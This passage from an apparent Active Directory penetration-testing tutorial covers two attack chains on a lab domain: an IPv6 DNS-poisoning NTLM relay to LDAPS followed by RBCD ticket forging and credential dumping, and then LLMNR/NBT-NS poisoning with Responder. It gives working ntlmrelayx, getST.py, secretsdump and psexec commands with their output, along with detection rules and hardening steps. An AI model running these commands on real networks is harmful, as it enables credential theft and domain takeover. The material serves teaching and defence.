This is T1187, Forced Authentication, layered on top of the DNS poisoning. No user interaction, no clicking. The browser, Windows connectivity checks, and background services all try WPAD.

6.2 A word on the NTLM handshake and why relay works

NTLM authentication over HTTP or SMB is a three-message challenge-response:

  1. Type 1 (Negotiate) – client says “I want to authenticate, here are my capabilities.”
  2. Type 2 (Challenge) – server sends an 8-byte random challenge.
  3. Type 3 (Authenticate) – client hashes the challenge with its NT hash (NTLMv2 mixes in a client challenge and timestamp) and sends the response.

The client proves it knows the NT hash without transmitting it. Here is the flaw relay exploits: nothing in that exchange binds the authentication to the specific server or channel unless SMB signing, LDAP signing, or Extended Protection for Authentication is enforced. So an attacker can take the Type 1 from the victim, forward it to a completely different server, relay that server’s Type 2 challenge back to the victim, take the victim’s Type 3 response, and forward it on. The victim authenticates to the second server, and the attacker never learns the hash but fully controls a valid authenticated session. That is the entire trick behind ntlmrelayx.

6.3 Responder in analyze mode only

Responder and mitm6 both poison name resolution, and running Responder in full poisoning mode alongside mitm6 causes them to fight over responses and corrupt the attack. If you want Responder at all, run it in analyze mode (-A), which listens and logs but does not answer:

sudo responder -I eth0 -A
[+] Listening for events...
[Analyze mode: ][DHCP] Client   : WIN10-CLIENT.corp.local
[Analyze mode: ][DHCP] IP/Hostname : 192.168.56.20
[Analyze mode: ][*] Skipping poisoning, running in analyze-only mode
[Analyze mode: ][HTTP] NTLMv2 Client   : 192.168.56.20
[Analyze mode: ][HTTP] NTLMv2 Username : CORP\WIN10-CLIENT$

That confirms the machine account WIN10-CLIENT$ is the principal about to authenticate, which is exactly the account type you want relayed for the RBCD path.


7. Stage 3: Relay to LDAPS and Create a Machine Account

Now the actual relay. Remember the order: this starts before mitm6. I am presenting it out of narrative order for clarity, but in practice Terminal 1 (ntlmrelayx) comes up first, Terminal 2 (mitm6) second.

7.1 Why LDAPS and not LDAP

You can relay to plain LDAP (port 389) and enumerate the directory all day, but you cannot create a computer account over unsigned LDAP. Active Directory refuses to set the unicodePwd attribute (the account password) over an unencrypted, unsigned channel. Account creation requires a confidential transport, which means LDAPS on port 636 with its TLS layer. State this to yourself clearly, because relaying to ldap:// and wondering why --add-computer silently fails wastes an afternoon.

7.2 Launch ntlmrelayx targeting the DC

sudo ntlmrelayx.py -6 -t ldaps://192.168.56.10 -wh attacker-wpad --delegate-access --no-smb-server
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections

-wh attacker-wpad tells ntlmrelayx to serve a WPAD file that points victims back through it. --no-smb-server frees port 445 so mitm6-driven HTTP auth is the path. --delegate-access is the important one: it says “if the relayed principal is a machine account, automatically create a new computer object and configure RBCD on the relayed computer.”

7.3 The relay fires

Once mitm6 poisons WIN10-CLIENT and the machine reaches for WPAD, Terminal 1 lights up:

[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Serving PAC file to client ::ffff:192.168.56.20
[*] HTTPD(80): Connection from ::ffff:192.168.56.20 controlled, attacking target ldaps://192.168.56.10
[*] HTTPD(80): Authenticating against ldaps://192.168.56.10 as CORP/WIN10-CLIENT$ SUCCEED
[*] Enumerating relayed user's privileges..
[*] Attempting to create computer in: CN=Computers,DC=corp,DC=local
[*] Adding new computer with name: GXZFMPQK$ and password: 4kQ!9zWp&Lm2#Rd7 result: OK
[*] Delegation rights modified successfully!
[*] GXZFMPQK$ can now impersonate users on WIN10-CLIENT$ via S4U2Proxy

Read every line. ntlmrelayx captured the machine account WIN10-CLIENT$ authenticating over HTTP, relayed that authentication to LDAPS on the DC, and the DC accepted it as WIN10-CLIENT$. Because the quota is 10, ntlmrelayx used that authenticated session to create a brand new computer account, GXZFMPQK$, with a random 16-character password. Then, because a machine account was relayed, --delegate-access wrote the RBCD attribute on WIN10-CLIENT$ naming GXZFMPQK$ as an allowed delegate.

The accuracy distinction that trips people up: --delegate-access only performs this RBCD write automatically when a machine account (ending in $) is relayed. If a regular user account is relayed instead, ntlmrelayx falls back to other post-relay actions (privilege enumeration, and if the user is privileged, an ACL abuse for DCSync, covered in Stage 9). RBCD needs a machine principal on both ends because S4U2Self requires the account to have an SPN.


Flow diagram tracing the relay chain from WIN10-CLIENT NTLM authentication through ntlmrelayx to LDAPS on the domain controller, resulting in a new machine account and RBCD attribute write
ntlmrelayx relays the machine account credential to LDAPS, creates GXZFMPQK$, and writes the RBCD delegation attribute – all in a single automated relay session.

8. Stage 4: RBCD, S4U, and Escalating to Administrator

You now control a machine account, GXZFMPQK$, and that account is listed in WIN10-CLIENT‘s msDS-AllowedToActOnBehalfOfOtherIdentity. Time to understand what that buys and then cash it in.

8.1 What RBCD actually is

msDS-AllowedToActOnBehalfOfOtherIdentity is a security descriptor stored on a computer object. It lists which principals are permitted to perform Resource-Based Constrained Delegation to that computer. When principal A is listed, A is allowed to obtain Kerberos service tickets to services on that computer while impersonating any other user in the domain.

Computer accounts in AD can write some of their own attributes over LDAP, and this is one of them, which is why relaying a machine account and then setting this attribute is a self-contained privilege escalation.

8.2 Enumerate the RBCD write to confirm it landed

Before forging tickets, verify the attribute is set. Read it back over LDAP using the new machine account:

netexec ldap 192.168.56.10 -u 'GXZFMPQK$' -p '4kQ!9zWp&Lm2#Rd7' \
  --query "(sAMAccountName=WIN10-CLIENT$)" "msDS-AllowedToActOnBehalfOfOtherIdentity"
LDAP  192.168.56.10  389  DC01  [+] corp.local\GXZFMPQK$:4kQ!9zWp&Lm2#Rd7
LDAP  192.168.56.10  389  DC01  Response for object: CN=WIN10-CLIENT,CN=Computers,DC=corp,DC=local
LDAP  192.168.56.10  389  DC01  msDS-AllowedToActOnBehalfOfOtherIdentity:
LDAP  192.168.56.10  389  DC01    O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3421789012-2938471123-882910432-1145)

The SID S-1-5-21-...-1145 is GXZFMPQK$. The DACL grants it full delegation control over WIN10-CLIENT$. Confirmed.

8.3 How S4U2Self and S4U2Proxy chain into impersonation

Kerberos delegation gives you two protocol extensions:

  • S4U2Self lets a service account request a service ticket to itself on behalf of an arbitrary user, without that user’s involvement. The resulting ticket is forwardable and carries the impersonated user’s PAC.
  • S4U2Proxy takes that forwardable ticket and uses it to request a service ticket to a second service, still impersonating the user.

The PAC (Privilege Attribute Certificate) embedded in these tickets is what makes this devastating. The PAC carries the impersonated user’s SIDs and group memberships. When the target service receives a ticket for cifs/WIN10-CLIENT with a PAC that says “this is Administrator, member of Domain Admins,” it grants administrative access. The target never re-checks with the DC; it trusts the PAC.

So the chain is: GXZFMPQK$ (allowed to delegate to WIN10-CLIENT$) calls S4U2Self to get a forwardable ticket for Administrator to itself, then S4U2Proxy to convert that into a cifs/WIN10-CLIENT.corp.local service ticket as Administrator. Kerberos does exactly what it was designed to do; the design just never anticipated an attacker owning the delegating account.

8.4 Forge the ticket with getST.py

getST.py -spn cifs/WIN10-CLIENT.corp.local \
    -impersonate Administrator \
    -dc-ip 192.168.56.10 \
    'corp.local/GXZFMPQK$:4kQ!9zWp&Lm2#Rd7'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WIN10-CLIENT.corp.local@CORP.LOCAL.ccache

getST.py did the full dance: got a TGT for GXZFMPQK$, ran S4U2Self to grab a forwardable ticket for Administrator, then S4U2Proxy to produce a usable cifs service ticket. It landed in a credential cache file.

Load it into your environment:

export KRB5CCNAME=Administrator@cifs_WIN10-CLIENT.corp.local@CORP.LOCAL.ccache
klist
Ticket cache: FILE:Administrator@cifs_WIN10-CLIENT.corp.local@CORP.LOCAL.ccache
Default principal: Administrator@CORP.LOCAL

Valid starting     Expires            Service principal
09/12/25 14:21:07  09/13/25 00:21:07  cifs/WIN10-CLIENT.corp.local@CORP.LOCAL
        renew until 09/19/25 14:21:07

You are now holding a valid cifs service ticket to WIN10-CLIENT as Administrator. No password was ever cracked.

8.5 Cash the ticket for credential access

With -k -no-pass, Impacket tools use the Kerberos ticket in KRB5CCNAME instead of a password. Dump the workstation’s secrets:

secretsdump.py -k -no-pass WIN10-CLIENT.corp.local
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x8f3c2a9d41e07b6c5e1220ff9a3b8471
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#a1b2c3d4e5f60718293a4b5c6d7e8f90
[*] Dumping LSA Secrets
CORP\WIN10-CLIENT$:aes256-cts-hmac-sha1-96:5f8c...
[*] Cleaning up...

There it is. Local Administrator NT hash, cached domain credentials, LSA secrets, all pulled off WIN10-CLIENT as Administrator. From here you can pass the hash laterally, or shell in directly:

psexec.py -k -no-pass WIN10-CLIENT.corp.local
[*] Requesting shares on WIN10-CLIENT.corp.local.....
[*] Found writable share ADMIN$
[*] Uploading file kBqTfLmX.exe
[*] Opening SVCManager on WIN10-CLIENT.corp.local.....
[*] Creating service pQZa on WIN10-CLIENT.corp.local.....
[*] Starting service pQZa.....
Microsoft Windows [Version 10.0.19045.4046]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

nt authority\system on the workstation, from an unauthenticated Linux box, in under fifteen minutes.


Flow diagram showing getST.py using S4U2Self to obtain a forwardable ticket impersonating Administrator, then S4U2Proxy to convert it into a CIFS service ticket granting administrative access to WIN10-CLIENT
The S4U extension chain converts attacker control of GXZFMPQK$ into a fully valid Administrator Kerberos service ticket – no password cracked.

9. Variations and Escalation Paths

The RBCD path is the cleanest, but ntlmrelayx supports several outcomes depending on what gets relayed and where.

9.1 LDAP enumeration path (any user)

Relay to LDAP (unsigned is fine for reading) with -l and ntlmrelayx dumps a full domain map as loot:

sudo ntlmrelayx.py -6 -t ldap://192.168.56.10 -wh attacker-wpad -l /tmp/loot
[*] Authenticating against ldap://192.168.56.10 as CORP/JSMITH SUCCEED
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!
ls /tmp/loot
domain_computers.html   domain_groups.html   domain_users.html
domain_policy.html      domain_trusts.html   domain_computers_by_os.html

This is your reconnaissance goldmine: every user, group, computer, trust, and the domain password policy, harvested from a single relayed low-priv authentication.

9.2 Domain admin relayed: the DCSync ACL

If a domain admin authenticates while you are poisoning, and their session gets relayed to LDAPS, ntlmrelayx does something nastier. It grants a new or existing user the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights, which is exactly what DCSync needs:

[*] Authenticating against ldaps://192.168.56.10 as CORP/DA-ADMIN SUCCEED
[*] User is a Domain Admin, granting replication rights to attacker principal
[*] Adding new user with name: EAZKQPWL and password: ... result: OK
[*] Granted DCSync rights to EAZKQPWL

Now you pull the entire domain hash store, including krbtgt:

secretsdump.py -just-dc 'corp.local/EAZKQPWL:GeneratedPass123!'@192.168.56.10
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f4c2e8a1b9d07356e91c2f4a8b6d3e05:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
corp.local\jsmith:1103:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::

The krbtgt hash is game over. With it you forge golden tickets and own the domain indefinitely.

9.3 SMB relay and ADCS ESC8

If SMB signing is not required on a target (your Stage 0 enumeration found WIN10-CLIENT qualifies), you can relay to smb:// and dump SAM directly without the Kerberos detour. And if the domain runs AD Certificate Services with a web enrollment endpoint, ESC8 lets you relay the machine account NTLM to http://<CA>/certsrv/certfnsh.asp and request a certificate for that machine, then use PKINIT to authenticate as it. Same mitm6 front end, different relay target. ESC8 deserves its own writeup; note it here as the closely related escalation it is.


10. Common Attacker Techniques

TechniqueDescription
DHCPv6 spoofingRogue DHCPv6 server answers Solicits and assigns attacker-controlled DNS
DNS poisoning via IPv6Windows IPv6 DNS preference means attacker DNS outranks real IPv4 DNS
WPAD coercionServing wpad.dat triggers automatic NTLM auth from browser and OS
NTLM relay to LDAPSForwarding captured NTLM to the DC to write to the directory
Machine account creationAbusing default ms-DS-MachineAccountQuota = 10 to mint a controlled computer
RBCD abuseWriting msDS-AllowedToActOnBehalfOfOtherIdentity to enable impersonation
S4U2Self / S4U2ProxyForging service tickets for privileged users via delegation
DCSync grantAdding replication rights to an attacker principal after a privileged relay

11. Defensive Strategies and Detection

Every stage leaves a trace. The trick is knowing which log answers which question.

11.1 Network layer

The earliest and cleanest signal is on the wire. A DHCPv6 server (UDP/547 responses) or IPv6 Router Advertisements (ICMPv6 type 134) coming from a host that is not your authorized router or DHCP server is anomalous by definition in an IPv4-only shop. A WPAD HTTP GET to an IP that is not your configured proxy is the coercion.

SignalWhat to look for
DHCPv6 Advertise/ReplyNon-authorized host answering on UDP/547
IPv6 Router AdvertisementICMPv6 type 134 from an unexpected MAC
WPAD requestHTTP GET /wpad.dat to a non-proxy IP

11.2 Windows Security Event Log

Enable the right audit subcategories first, or these events never generate:

  • Audit Computer Account Management -> Success (enables 4741)
  • Audit Directory Service Changes -> Success (enables 5136)
  • Audit Logon Events -> Success + Failure (enables 4624 / 4625)
  • Audit Kerberos Service Ticket Operations -> Success (enables 4769)
Event IDProviderWhat it signals
4741Microsoft-Windows-Security-AuditingComputer account created. Hunt for creations where the subject is a machine account or non-admin.
5136Microsoft-Windows-Security-AuditingDirectory object modified. Watch writes to msDS-AllowedToActOnBehalfOfOtherIdentity.
4624Microsoft-Windows-Security-AuditingSuccessful logon where source IP and workstation name do not match the real host, a relay hallmark.
4625Microsoft-Windows-Security-AuditingBulk failed logons from one source during relay attempts.
4769Microsoft-Windows-Security-AuditingTGS request. A ticket for Administrator requested by a machine account is the S4U pattern.
4688 / Sysmon 1Process executionAttacker tooling (ntlmrelayx.py, getST.py, secretsdump.py) where EDR sees it.

11.3 Sysmon and ETW

  • Sysmon Event ID 3 (Network Connection): python3 or mitm6 making IPv6 UDP/547 connections is highly abnormal on an endpoint.
  • Sysmon Event ID 22 (DNS Query): many clients suddenly resolving wpad.corp.local to the same unusual address.
  • ETW Microsoft-Windows-LDAP-Client: outbound LDAP/LDAPS bind events.
  • ETW Microsoft-Windows-DNSServer/Analytical: unexpected answers for WPAD, evidence of poisoning.

11.4 Sigma rules

Hunt the RBCD write directly. This is the single most reliable detection in the chain because a write to this attribute is almost never legitimate:

title: RBCD Attribute Write on Computer Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
    OperationType: '%%14674'   # Value Added
  condition: selection
level: high

Catch machine accounts being created by other machine accounts, which is the fingerprint of a relayed computer creating a new one:

title: Suspicious Machine Account Creation by Machine Account
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4741
  filter:
    SubjectUserName|endswith: '$'   # Creator is a machine account (relay)
  condition: selection and filter
level: high

Volatility and Rekall are worth keeping in the kit for memory forensics on a suspected relay host, but for this chain the AD event log is where the truth lives.


12. Defense and Hardening Checklist

Map each control to the stage it kills. If you can only do one thing, set the machine account quota to zero.

ControlMechanismKills stage
Disable IPv6 if unusedSet-NetAdapterBinding -ComponentID ms_tcpip6 -Enabled $false, or registry HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\DisabledComponents = 0xFF1 (poisoning)
Block DHCPv6 / RA via GPO firewallInbound block UDP 547 and ICMPv6 type 1341
Set ms-DS-MachineAccountQuota = 0Set-ADDomain -Identity corp.local -Replace @{'ms-DS-MachineAccountQuota'='0'}3 (account creation)
Require LDAP signingGPO: Domain controller: LDAP server signing requirements = Require signing3 (LDAP relay)
Enable LDAP channel bindingHKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 23
Require SMB signingGPO: Microsoft network server: Digitally sign communications (always) = Enabled9 (SMB relay)
Enable Extended Protection (EPA)Channel binding tokens on HTTP/LDAP auth defeat relay2, 3
Disable WPADGPO: disable automatic proxy detection, block wpad.* resolution2 (coercion)
RA Guard / DHCPv6 Guard on switchesBlock unauthorized IPv6 advertisements at the port1
Monitor RBCD writesAlert on any write to msDS-AllowedToActOnBehalfOfOtherIdentity4

Do not disable IPv6 by unchecking it in the adapter GUI and assuming you are safe; Microsoft explicitly does not support that, and the stack partially remains. Use DisabledComponents = 0xFF or, better, leave IPv6 on and deploy the network-layer guards, because a broken IPv6 stack causes its own outages.


Illustration of a reinforced vault door blocking a network connection, symbolizing layered hardening controls shutting down the IPv6 relay attack chain
Layered controls – zero machine account quota, enforced LDAP signing, SMB signing, and WPAD disabled – each independently break a different stage of the attack chain.

13. Tools for This Attack

ToolDescriptionLink
mitm6Rogue DHCPv6 server and IPv6 DNS poisonergithub.com/dirkjanm/mitm6
Impacket (ntlmrelayx.py, getST.py, secretsdump.py, psexec.py)NTLM relay engine and post-exploitation suitegithub.com/fortra/impacket
NetExec (nxc)Signing enumeration, relay list generation, LDAP checksgithub.com/Pennyw0rth/NetExec
ResponderAnalyze-mode LLMNR/NBT-NS/DHCP inspectiongithub.com/lgandx/Responder
Wireshark / tsharkDHCPv6 and DNS packet inspectionwireshark.org
BloodHoundPost-loot AD attack-path mappinggithub.com/SpecterOps/BloodHound

14. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Adversary-in-the-MiddleT1557Network anomaly: rogue DHCPv6 / RA traffic
AiTM: LLMNR/NBT-NS Poisoning and SMB RelayT1557.001Unexpected DNS/name-resolution answers (closest named sub-technique for the DHCPv6 poisoning)
Forced AuthenticationT1187WPAD HTTP GET to non-proxy IP
Network SniffingT1040Passive capture visible only host-side
Valid Accounts: Domain AccountsT1078.0024624 with mismatched source/workstation
Create Account: Domain AccountT1136.0024741 machine account created by machine account
Domain Policy Modification (delegation write)T1484.0015136 write to msDS-AllowedToActOnBehalfOfOtherIdentity
Steal or Forge Kerberos TicketsT1558.0034769 TGS for Administrator by a machine account (this is delegation-based ticket forging, mapped here for detection coverage, not classic Kerberoasting)
OS Credential Dumping: SAMT1003.002secretsdump SAM/LSA access post-relay

Note on ATT&CK coverage: as of ATT&CK v15 there is no dedicated sub-technique for DHCPv6/IPv6 rogue-server attacks. T1557.001 is the closest named sub-technique, and T1557 plus T1187 together describe the full mechanism. Verify the current version at attack.mitre.org.


Summary

  • Windows’ preference for IPv6 over IPv4, on by default since Vista, lets an unauthenticated attacker become a network’s DNS server and drive it to full domain compromise with no malware and no CVE.
  • mitm6 wins the unanswered DHCPv6 race and poisons DNS; ntlmrelayx forwards the resulting WPAD-coerced NTLM authentication to LDAPS on the DC.
  • The default ms-DS-MachineAccountQuota = 10 lets the relayed machine account create a new computer, and --delegate-access writes msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD (this auto-write only triggers when a machine account is relayed).
  • S4U2Self and S4U2Proxy then forge an Administrator service ticket via the PAC, and secretsdump.py -k -no-pass harvests credentials; a relayed domain admin escalates straight to a DCSync ACL.
  • Detect via Security Events 4741, 5136, 4624, and 4769 plus rogue DHCPv6/RA network signals; defend by setting the machine account quota to zero, enforcing LDAP and SMB signing with EPA, and killing WPAD.

Related Tutorials

References

LLMNR, NBT-NS, and mDNS Poisoning with Responder: Capturing Net-NTLMv2 from Zero

Objective: Walk the full credential-interception chain on a lab Active Directory range: understand why Windows falls back to multicast name resolution, poison LLMNR/NBT-NS/mDNS with Responder, capture Net-NTLMv2 challenge-response material, crack it with hashcat, and relay it with ntlmrelayx. Then build the detection and GPO hardening that shuts the whole thing down.


This is the attack I run first on almost every internal engagement, and it almost always pays out before the coffee gets cold. It needs no credentials, no exploit, no CVE. It abuses a design decision baked into Windows since Vista: when DNS says “I do not know that name,” the host shouts the question at the entire subnet and trusts whoever answers first. Responder is the machine that answers first. Lazarus Group has run the exact same tool with the command line [path] -i [IP] -rPv on compromised hosts, so this is not a pentest party trick, it is a nation-state TTP that still works in 2026.

Build it, break it, then learn to see it on the wire.


1. Name Resolution in Windows: How DNS Fallback Works

Before any of the offensive tooling makes sense, you have to understand the resolver order a Windows host uses to turn a name like filesahre into an IP address. The DNS Client service (dnscache) walks a fixed priority chain:

OrderMechanismTrigger
1Local hostname / hosts fileAlways checked first
2DNS resolver cacheCached positive or negative answers
3DNS server queryStandard recursive lookup against configured DNS
4LLMNR (multicast)Only if DNS returns no answer
5NBT-NS (broadcast)Only if LLMNR also fails
6mDNS (multicast)Windows 10+ compatibility fallback

The trust model flaw lives entirely in steps 4 through 6. DNS at least involves a configured, authoritative server. LLMNR, NBT-NS, and mDNS are link-local, unauthenticated, first-responder-wins protocols. There is no signature, no server identity, no way for the querying host to know whether the reply came from the real file server or from a Kali box plugged into the same switch.

When does the fallback actually fire? The two reliable triggers are:

  • A user mistypes a hostname (\\filesahre\share instead of \\fileshare\share). DNS has no record, so the host multicasts the typo.
  • A stale mapped drive, login script, or pinned shortcut references a host that no longer exists in DNS. Every reconnect attempt multicasts.

That second case is gold. It fires automatically at logon with zero user interaction, which means a quiet Responder instance harvests hashes from every workstation that boots in the morning.

Note what does not happen here: Kerberos. Kerberos needs a resolvable target and a registered SPN to request a service ticket. When the name itself cannot be resolved, the client never gets to the Kerberos exchange. It falls back to NTLM over SMB against whoever claims the name, and NTLM is exactly the material we want.


Flowchart showing the Windows name resolution fallback chain from hosts file through DNS to LLMNR, NBT-NS, and mDNS, with Responder intercepting at the multicast and broadcast stages
When DNS returns no answer, Windows falls through three unauthenticated multicast protocols – each a window for Responder to claim the name first.

2. Protocol Deep-Dive: LLMNR, NBT-NS, mDNS

All three protocols solve the same problem (resolve a name without a DNS server) in three slightly different ways. The ports and multicast groups matter because your detection signatures and your Responder bind all key off them.

ProtocolPort / TransportScopeDestination
LLMNRUDP 5355, multicastLink-local224.0.0.252 (IPv4), FF02::1:3 (IPv6)
NBT-NSUDP 137, broadcastSubnetDirected subnet broadcast, IPv4 only
mDNSUDP 5353, multicastLink-local224.0.0.251 (IPv4), FF02::FB (IPv6)

LLMNR (Link-Local Multicast Name Resolution) arrived with Windows Vista as a DNS-shaped replacement for the older NetBIOS mechanism. The packet format mirrors a DNS query, just multicast to 224.0.0.252:5355.

NBT-NS (NetBIOS Name Service) is the legacy survivor from the LAN Manager era. It broadcasts to UDP 137 and resolves the 16-byte NetBIOS names you still see uppercased and padded. It only speaks IPv4. Most environments could disable it tomorrow and never notice, but legacy print servers and NAS boxes keep it alive.

mDNS (Multicast DNS) is the Bonjour/Avahi protocol. Linux machines leaned on mDNS where Windows historically used LLMNR, and Microsoft added mDNS support in Windows 10 for cross-platform discovery. Responder poisons all three.

Watching the queries on the wire

Before you touch Responder, confirm the traffic is actually reaching your attacker interface. This is enumeration: you are proving the L2 segment carries the broadcasts you intend to poison.

sudo tcpdump -i eth0 -n 'udp port 5355 or udp port 137 or udp port 5353'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:04:11.882134 IP 192.168.56.101.55821 > 224.0.0.252.5355: UDP, length 23
12:04:11.883907 IP 192.168.56.101.137 > 192.168.56.255.137: UDP, length 50
12:04:13.114882 IP 192.168.56.101.55821 > 224.0.0.252.5355: UDP, length 23
12:04:13.115620 IP 192.168.56.101.137 > 192.168.56.255.137: UDP, length 50

Two things to read from that capture. First, 192.168.56.101 is asking, and it asks LLMNR first, then NBT-NS roughly a millisecond later, which is the textbook fallback order. Second, the destinations are the multicast group 224.0.0.252 and the subnet broadcast .255, which means every host on the segment sees the query. There is your attack surface in two lines.


3. NTLM Authentication and Net-NTLMv2 Internals

Responder does not magically steal passwords. It tricks the victim into performing a standard NTLM authentication against the attacker’s rogue SMB server, then logs the challenge-response. To know what you are holding afterward, you need the NTLM message flow and the Net-NTLMv2 math.

NTLM is a three-message challenge-response handshake:

NTLM MessageDirectionKey Fields
NEGOTIATE_MESSAGE (Type 1)Client to ServerNegotiation flags, client OS version
CHALLENGE_MESSAGE (Type 2)Server to ClientServerChallenge (8-byte random nonce), target info AvPairs
AUTHENTICATE_MESSAGE (Type 3)Client to ServerNtChallengeResponse, LmChallengeResponse, DomainName, UserName, Workstation

Responder drives the server side. It sends a Type 2 CHALLENGE_MESSAGE with an 8-byte ServerChallenge (Responder hardcodes a predictable 1122334455667788 by default, which is handy for rainbow-table style attacks), and the victim dutifully replies with a Type 3 message containing the Net-NTLMv2 response.

How the Net-NTLMv2 response is computed

Three cryptographic primitives stack up here. MD4 turns the password into the NT hash, and HMAC-MD5 is used twice to derive the final response with integrity and authenticity:

NT-Hash       = MD4(UTF-16-LE(password))
NTLMv2-Key    = HMAC-MD5(NT-Hash, UPPER(username) + domain)
NTProofStr    = HMAC-MD5(NTLMv2-Key, ServerChallenge + Blob)
NetNTLMv2     = NTProofStr + Blob

The Blob is the NTLMv2_CLIENT_CHALLENGE structure, and its contents are what make the response unique per authentication:

  • RespType and HiRespType: 1-byte response version fields, both currently 1.
  • TimeStamp: 8-byte little-endian time in GMT.
  • ChallengeFromClient: 8-byte random client nonce.
  • AvPairs: target information attribute-value pairs copied from the server challenge.

The distinction that trips people up

The captured Net-NTLMv2 hash is not the NT hash. It is a one-time HMAC-MD5 output keyed on the NT hash and salted with both server and client challenges plus a timestamp. That has two consequences you must internalize:

The string Responder hands you, formatted for hashcat, is:

USERNAME::DOMAIN:ServerChallenge:NTProofStr:Blob

Every field comes straight from the Type 2 and Type 3 messages. Hold that format in your head; you will see it again in Section 6.


Step-by-step diagram of the NTLM three-message handshake between the victim and Responder's rogue SMB server, showing how the Type 3 Net-NTLMv2 response is captured and logged
Responder drives the server side of the NTLM handshake, issuing the challenge and recording the victim’s HMAC-MD5 response without ever needing the plaintext password.

4. Lab Setup: Building the Intentionally Vulnerable AD Environment

Three VMs on an isolated host-only or internal vSwitch. No NAT, no bridged adapter, no route to the internet. You are about to run a credential-interception tool that listens promiscuously for authentication, so containment is not optional.

VMRoleConfiguration
Kali LinuxAttacker192.168.56.50, runs Responder, hashcat, Impacket
Windows Server 2019DC lab.local (LAB)192.168.56.10, SMB signing disabled for lab realism
Windows 10Domain-joined workstation192.168.56.101, LLMNR + NBT-NS left on (default), stale UNC path in a logon script

To make the victim behave like a real corporate workstation, confirm the fallback protocols are enabled (they are, by default) and plant a stale path. Enumerate the current state first so you know what you are working with.

# Check whether LLMNR is disabled by policy (0 = disabled). Absent/1 = enabled.
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" `
  -Name "EnableMulticast" -ErrorAction SilentlyContinue
# Check NetBIOS-over-TCP/IP per interface (NetbiosOptions: 0=default/on, 2=disabled)
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces" |
  ForEach-Object { Get-ItemProperty $_.PSPath | Select-Object PSChildName, NetbiosOptions }
Get-ItemProperty : Cannot find path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient'
because it does not exist.

PSChildName                            NetbiosOptions
-----------                            --------------
Tcpip_{2a7f9c14-3b6e-4a8d-9f01-...}                 0

The missing EnableMulticast value means no policy disables LLMNR, so it is live. NetbiosOptions = 0 means NBT-NS is on its default-enabled state. This workstation is exactly as exposed as a freshly imaged corporate box. Now plant the trigger by mistyping a server in a logon script:

# Simulate a stale logon-script drive map to a host that no longer resolves
'net use Z: \\filesahre\profiles /persistent:yes' |
  Out-File -FilePath "C:\Scripts\map-drives.cmd" -Encoding ascii
# (no output; file written)
PS C:\> Get-Content C:\Scripts\map-drives.cmd
net use Z: \\filesahre\profiles /persistent:yes

filesahre is a deliberate typo of fileshare. DNS will never resolve it, so every execution multicasts the query. That is the engine that feeds Responder.


5. Phase 1: Reconnaissance with Responder Analyze Mode

Never start by poisoning. Start by listening. Analyze mode (-A) makes Responder observe NBT-NS, BROWSER, and LLMNR requests without injecting a single spoofed answer. On a real engagement you run this for 24 to 48 hours to map which hosts generate which queries and whether those are legitimate lookups that belong in DNS. In the lab, five to ten minutes is plenty.

This is the enumeration step that tells you whether the attack is even viable and which victims to expect. No injection means no risk of breaking name resolution for a production host.

sudo responder -I eth0 -A
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listeners Info:
    Responder IP               [192.168.56.50]
    Responder IPv6             [fe80::a00:27ff:fea1:b2c3]
    Challenge set              [random]
[+] Generic Options:
    Responder NIC              [eth0]
    Analyze Mode               [ON]
    Force WPAD auth            [OFF]

[+] Listening for events...

[Analyze mode: LLMNR] Request by 192.168.56.101 for filesahre, ignoring
[Analyze mode: NBT-NS] Request by 192.168.56.101 for FILESAHRE, ignoring
[Analyze mode: LLMNR] Request by 192.168.56.101 for filesahre, ignoring
[Analyze mode: MDNS] Request by 192.168.56.101 for filesahre.local, ignoring

